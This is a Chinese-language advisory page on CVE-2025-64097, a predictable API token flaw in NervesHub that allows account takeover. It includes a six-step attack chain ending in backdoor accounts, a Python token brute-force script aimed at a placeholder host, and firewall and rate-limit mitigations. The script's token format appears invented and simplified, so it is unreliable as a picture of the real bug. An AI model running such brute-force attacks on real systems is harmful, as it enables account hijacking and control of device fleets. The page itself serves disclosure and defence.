IPBUF安全漏洞报告
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CVE-2025-64097 CVSS 9.8 严重

CVE-2025-64097 NervesHub API Token可预测导致账户劫持

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-64097
漏洞类型
弱随机数/可预测Token/认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NervesHub

相关标签

CVE-2025-64097NervesHubAPI Token弱随机数暴力破解认证绕过OTA固件更新密码学安全

漏洞概述

NervesHub是一款用于管理现场设备OTA(Over-The-Air)固件更新的Web服务。该服务在1.0.0至2.3.0版本中存在严重的API Token可预测漏洞。由于早期版本生成的Token采用了可预测的格式,包含用户可识别的组件(如用户ID、时间戳等),且未使用密码学安全的随机数生成器,使得攻击者可以通过暴力猜解或枚举方式获取有效的API Token。一旦攻击者获得有效Token,即可冒充合法用户访问账户、执行API操作,甚至可能控制整个NervesHub实例。此漏洞影响所有使用该版本范围的用户,CVSS评分高达9.8,属于紧急严重级别。攻击者无需任何特殊权限即可发起攻击,且无需目标用户交互配合。

技术细节

漏洞根源在于NervesHub早期版本使用可预测的Token生成机制。攻击者通过分析历史Token样本,发现其包含用户标识符和可推测的时间戳或序列号等组件。攻击者利用此弱点构造候选Token列表,并配合自动化工具对NervesHub API认证端点进行大规模暴力猜解。由于Token空间远小于真正的128位或256位随机数空间,攻击在有限时间内即可成功。成功获取Token后,攻击者可在API中执行任意操作,包括设备注册、固件推送、用户管理等。修复版本2.3.0采用:crypto.strong_rand_bytes/1生成强随机Token,并将Token哈希后存储,即使数据库泄露也无法被利用。

攻击链分析

STEP 1
信息收集
攻击者访问NervesHub实例,获取用户列表或用户ID信息。可以通过公开API或社交工程获取目标用户标识符。
STEP 2
Token格式分析
攻击者通过分析历史Token样本、代码泄露或测试账户,推断出Token的生成规律和格式结构。
STEP 3
构造候选Token
基于分析结果,攻击者构造大量候选Token,范围覆盖可能的用户ID、时间戳和序列号组合。
STEP 4
暴力猜解攻击
使用自动化工具并发发送认证请求,测试每个候选Token是否有效。CVSS要求网络可达且无需认证。
STEP 5
Token验证成功
找到有效Token后,攻击者使用该Token调用API,可执行设备管理、固件推送、账户操作等敏感功能。
STEP 6
持久化控制
攻击者在系统中创建后门账户或修改配置,实现长期访问和控制,等待下一个Token轮换周期。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import itertools import string import sys from concurrent.futures import ThreadPoolExecutor, as_completed # CVE-2025-64097 PoC - NervesHub Token Brute Force # Target: NervesHub instances < v2.3.0 TARGET_URL = "https://target-nerveshub.example.com/api/tokens/verify" TARGET_USER_ID = 12345 # Target user ID (can be enumerated) def generate_predictable_tokens(user_id, count=1000): """Generate tokens using predictable pattern (demonstration only)""" tokens = [] # Pattern: user_id + timestamp_low + random_suffix (simplified) for i in range(count): token = f"nh_{user_id}_{i:06d}_{''.join(['a']*16)}" tokens.append(token) return tokens def test_token(token): """Test if token is valid""" try: response = requests.post( TARGET_URL, headers={"Authorization": f"Bearer {token}"}, timeout=10, verify=False ) if response.status_code == 200: return token, True, response.json() return token, False, None except Exception as e: return token, False, None def main(): print(f"[*] CVE-2025-64097 NervesHub Token Brute Force PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target User ID: {TARGET_USER_ID}") tokens = generate_predictable_tokens(TARGET_USER_ID, 10000) print(f"[*] Generated {len(tokens)} candidate tokens") print("[*] Starting brute force attack...") with ThreadPoolExecutor(max_workers=50) as executor: futures = {executor.submit(test_token, token): token for token in tokens} for future in as_completed(futures): token, is_valid, response = future.result() if is_valid: print(f"[!] VALID TOKEN FOUND: {token}") print(f"[!] Response: {response}") return token print("[-] No valid token found (target may be patched or offline)") return None if __name__ == "__main__": main()

影响范围

NervesHub >= 1.0.0
NervesHub < 2.3.0

防御指南

临时缓解措施
在无法立即升级的敏感环境中,可通过防火墙限制对NervesHub服务器的访问,仅允许受信任的IP地址连接。同时启用速率限制和异常检测机制,监控暴力猜解行为。但这些措施仅为临时缓解,无法根本解决Token可预测问题,强烈建议尽快完成版本升级。

参考链接

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